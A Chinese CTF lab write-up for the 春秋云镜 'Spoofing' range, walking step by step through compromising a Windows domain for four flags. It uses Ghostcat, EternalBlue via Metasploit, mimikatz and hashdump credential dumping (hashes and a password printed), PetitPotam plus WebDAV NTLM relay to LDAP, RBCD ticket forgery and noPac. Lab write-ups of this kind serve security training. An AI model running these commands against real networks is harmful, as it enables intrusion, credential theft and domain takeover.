文章

春秋云镜-Spoofing

春秋云镜-Spoofing

flag1

直接用Fscan扫描下

1778608765160

登录网站.扫描目录dirsearch

访问/docs可以发现是Tomcat 9.0.30,直接搜所相关漏洞,可以发现CNVD-2020-10487漏洞,可以进行任意文件读取和文件包含

1778086151634

1778079143508

得到flag1

flag2

内网扫描:

1778079156619

发现永恒之蓝漏洞

搭内网代理,然后kali直接MSF攻击

1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45
exploit

1778079806651

得到flag2

flag3(NTLM Relay)

接着导一下本地凭据

1
hashdump

得到

1
2
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

再导一下域内凭据

1
2
load kiwi
creds_all

1778086257573

因为yangmei是域内用户,可以顺便给他加到管理员组

1
2
3
proxychains4 impacket-smbexec -hashes :48f6da83eb89a4da8a1cc963b855a799 administrator@172.22.11.45 -codec gbk

net localgroup administrators yangmei /add

然后rdp登录yangmei用户后用sharphound收集一下域信息

不过bloodhound看不出什么东西

NTLM Relay(利用 WebDAV + Petitpotam):

结合靶场标签给的 NTLM 和 WebClient,应该就是通过 WebDav 打 NTLM-Relay

先了解下 NTLM-Relay 攻击原理

1
2
3
4
5
6
7
8
9
10
11
1. 认证流程截取
   NTLM协议采用挑战-响应机制,攻击者作为中间人截获客户端与服务端的NTLM认证报文。具体步骤包括:
   • **拦截请求**:攻击者通过ARP欺骗、LLMNR/NBNS投毒或利用漏洞(如打印机服务SpoolService、PetitPotam)强制目标主机向攻击者发起NTLM认证请求。
   • **转发挑战**:攻击者将服务端返回的挑战(Challenge)转发给客户端。
   • **重放响应**:客户端使用其NTLM凭据加密挑战生成响应(Response),攻击者将此响应重放到另一目标服务(如SMB、LDAP)以通过认证。
2. **绕过认证机制**
   由于NTLM早期版本未验证请求来源,攻击者可跨协议中继(如HTTP到SMB),利用目标服务未启用会话签名的特性,以受害者身份执行恶意操作(如远程代码执行、权限提升)。

接着再了解一下 WebDav + PetitPotam 组合利用打法过程:

- 简单来说就是使用PetitPotam工具强制域控向攻击机发起NTLM认证请求,然后通过工具(如Impacket的`ntlmrelayx.py`)将截获的认证流量中继至支持WebDav的服务器。由于WebDav不验证签名,攻击者可冒充域控身份访问该服务,并进一步利用基于资源的约束委派(RBCD)

开始利用,先扫一下 WebClient 和 PetitPotam

1
2
proxychains4 -q crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M webdav
proxychains4 -q crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam

发现172.22.11.26这台机存在 WebClient 服务,也能利用 PetitPotam(需要两者兼备)

1783424562552

先本地kali生成rsa密钥对,然后把公钥写到入口机

1
2
3
服务器 ~/.ssh 目录权限必须是 700
~/.ssh/authorized_keys 文件权限必须是 600
父目录 ~ 权限不能是 777 这类太开放的
1
2
入口机:
echo "...公钥..." >> /root/.ssh/authorized_keys

因为是在本地kali虚拟机进行NTLM-Relay 攻击,因此需要将靶机的80端口流量转发到本地kali的80端口

1
2
3
4
5
// ssh公钥登录靶机,并在靶机监听79端口,将流量转发到本地kali80端口
ssh -i ~/.ssh/id_rsa root@39.98.122.137 -R \*:79:127.0.0.1:80

// 在靶机本地建立代理,监听80端口,将流量转发到79端口
root@ubuntu:~# nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &

总体效果就是将靶机80端口流量经过79端口中转,转发到本地kali的80端口

测试一下,kali监听80端口,访问入口机80端口,监听收到请求

1
proxychains4 -q curl http://172.22.11.76:80

1783424773817

接着 ntlmrelayx 监听认证请求,利用 PetitPotam 让172.22.11.26机器使用 WebClient 向 ntlmrelayx 发起NTLM认证请求,然后 ntlmrelayx 再将截获的认证流量中继至DC的 LDAP 服务,从而修改xr-desktop$机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity,认证后就可以利用xr-desktop$账户打172.22.11.26的RBCD

1
2
3
proxychains4 -q python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access

proxychains4 -q python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

1783425405022

RBCD

xr-desktop$ 的身份请求 Administrator 用户的 Kerberos 服务票据(TGS)

1
proxychains4 -q impacket-getST xiaorang.lab/XR-Desktop\$  -hashes :6c69bbd5d575fa6f5b4d3eee58f9b669 -dc-ip 172.22.11.6 -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator

1783425454182

设置 Kerberos 票据缓存,利用票据横向移动到域控,拿第三个flag

1
2
3
export KRB5CCNAME=administrator.ccache

proxychains4 -q impacket-psexec 'xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab' -target-ip 172.22.11.26 -codec gbk -no-pass -k

1783425566024

flag4

加个管理员账户上传mimikatz,然后system权限抓密码,能抓到zhuanghui用户的哈希

1
2
3
4
# 提升至 Debug 权限(必须,否则无法访问系统进程)
privilege::debug

sekurlsa::logonpasswords

1783425645420

题目描述中提到了noPac,搜索发现这篇文章https://xz.aliyun.com/t/10694

漏洞原理大致如下

1
2
3
1、我们创建了与DC机器账户名字相同的机器账号(不以$结尾,与CVE-2021-42278结合,此时AD未对域内机器用户名做验证)
2、账户请求TGT后,更改账户名字,通过S4U2Self申请TGS 票据
3、DC在TGS_REP阶段,这个账户不存在,DC用自己的密钥加密TGS 票据,提供一个属于该账号的PAC,此时得到一个高权限的ST

使用刚刚抓到的账号尝试攻击

1
proxychains4 -q python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell
1
type C:\Users\Administrator\flag\flag04.txt
本文由作者按照 CC BY 4.0 进行授权